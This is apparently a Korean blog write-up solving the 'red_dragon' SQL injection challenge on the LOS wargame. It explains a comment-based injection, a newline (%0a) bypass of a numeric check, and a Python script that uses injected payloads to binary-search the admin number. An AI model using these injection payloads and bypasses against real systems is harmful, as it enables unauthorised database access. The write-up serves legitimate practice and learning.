LOS : https://los.rubiya.kr/
✔️ 문제
문제는 다음과 같다.
주석으로 컬럼명을 확인하라는 내용도 달려있다.
✔️ 풀이
풀이를 위한 코드는 다음과 같다.
if($result['no'] === $_GET['no']) solve("red_dragon");
no라는 것은 예상으로는 번호를 의미하는 것 같다.
번호가 일치하게 되면 즉, admin 번호를 입력하면 문제가 풀리게 된다.
strlen 함수로 id 길이가 7 이상이면 exit 구문이 실행되므로 참고하도록 한다.
간단하게 id에 guest를 넣으면 아무것도 뜨지 않는다.
no의 번호와 일치하지 않기 때문일 것이다.
guest' #을 넣게 되면 strlen 함수에 걸리게 된다.
이전 문제에서 시도했던 union select 1, 2 # 구문을 삽입하게 되면,
https://www.php.net/manual/en/function.is-numeric.php
PHP: is_numeric - Manual
The above example will output:
www.php.net
해당 함수와 삼항 연산자에 의해서 숫자가 아닌 수를 반환했기 때문에
False에 해당하는 1로 자동 반환하게 된다.
우선 id에 들어갈 수 있는 문자열은 최대 6에 해당하는데,
https://slumpdev.tistory.com/entry/LOS-nightmare
해당 문제에서 볼 수 있듯이 숫자 없이 문자로만 구성된 문자열은
0으로 형변환이 된다는 것을 참고하여 삽입해보았다.
다음과 같이 정상적으로 구문이 삽입되는 것을 확인할 수 있다.
그리고 no에 문자열은 들어가지 못하지만,
Line Feed에 해당하는 %0a는 문자열로 인식되지 않아서
해당 삼항 연산자를 건너뛰는 것으로 확인하였다.
이를 이용하여 페이로드를 구성해보게 되면,
다음과 같은 구문을 삽입할 수 있을 것이다.
이를 통해 스크립트를 구성해보도록 하자.
import requests
url = "https://los.rubiya.kr/chall/red_dragon_b787de2bfe6bc3454e2391c4e7bb5de8.php"
cookies = { "PHPSESSID" : "쿠키값" }
def no_crack():
start, end = 1, 100000000000
while start <= end:
mid = (start + end) // 2
params = { "id" : "'||no=#", "no": "\n{}".format(mid) }
request = requests.get(url, params=params, cookies=cookies)
print(mid)
if "Hello admin" in request.text:
print("admin 번호:", mid)
break
else:
params = { "id" : "'||no>#", "no": "\n{}".format(mid) }
request = requests.get(url, params=params, cookies=cookies)
if "Hello admin" in request.text:
start = mid
mid = (mid + end) // 2
else:
end = mid
mid = (start + end) // 2
if mid == start:
break
no_crack()
하도 숫자가 안나오길래 아예 end 값을 크게 잡아서 시도했다.
숫자가 같으면 번호를 출력하고, 같지 않으면 이진 탐색을 시도했다.
시도중 ...
문제를 성공적으로 풀게 되었다.
코드를 조금씩 수정해가면서, 스크립트 구성에 대한 실력과
파이썬 실력도 조금씩 향상되어감을 느끼게 되었다.
화이팅 💪
'보안 > LOS' 카테고리의 다른 글
[LOS] frankenstein (0) | 2023.01.04 |
---|---|
[LOS] blue_dragon (0) | 2023.01.02 |
[LOS] green_dragon (0) | 2022.12.29 |
[LOS] evil_wizard (0) | 2022.12.29 |
[LOS] hell_fire (0) | 2022.12.29 |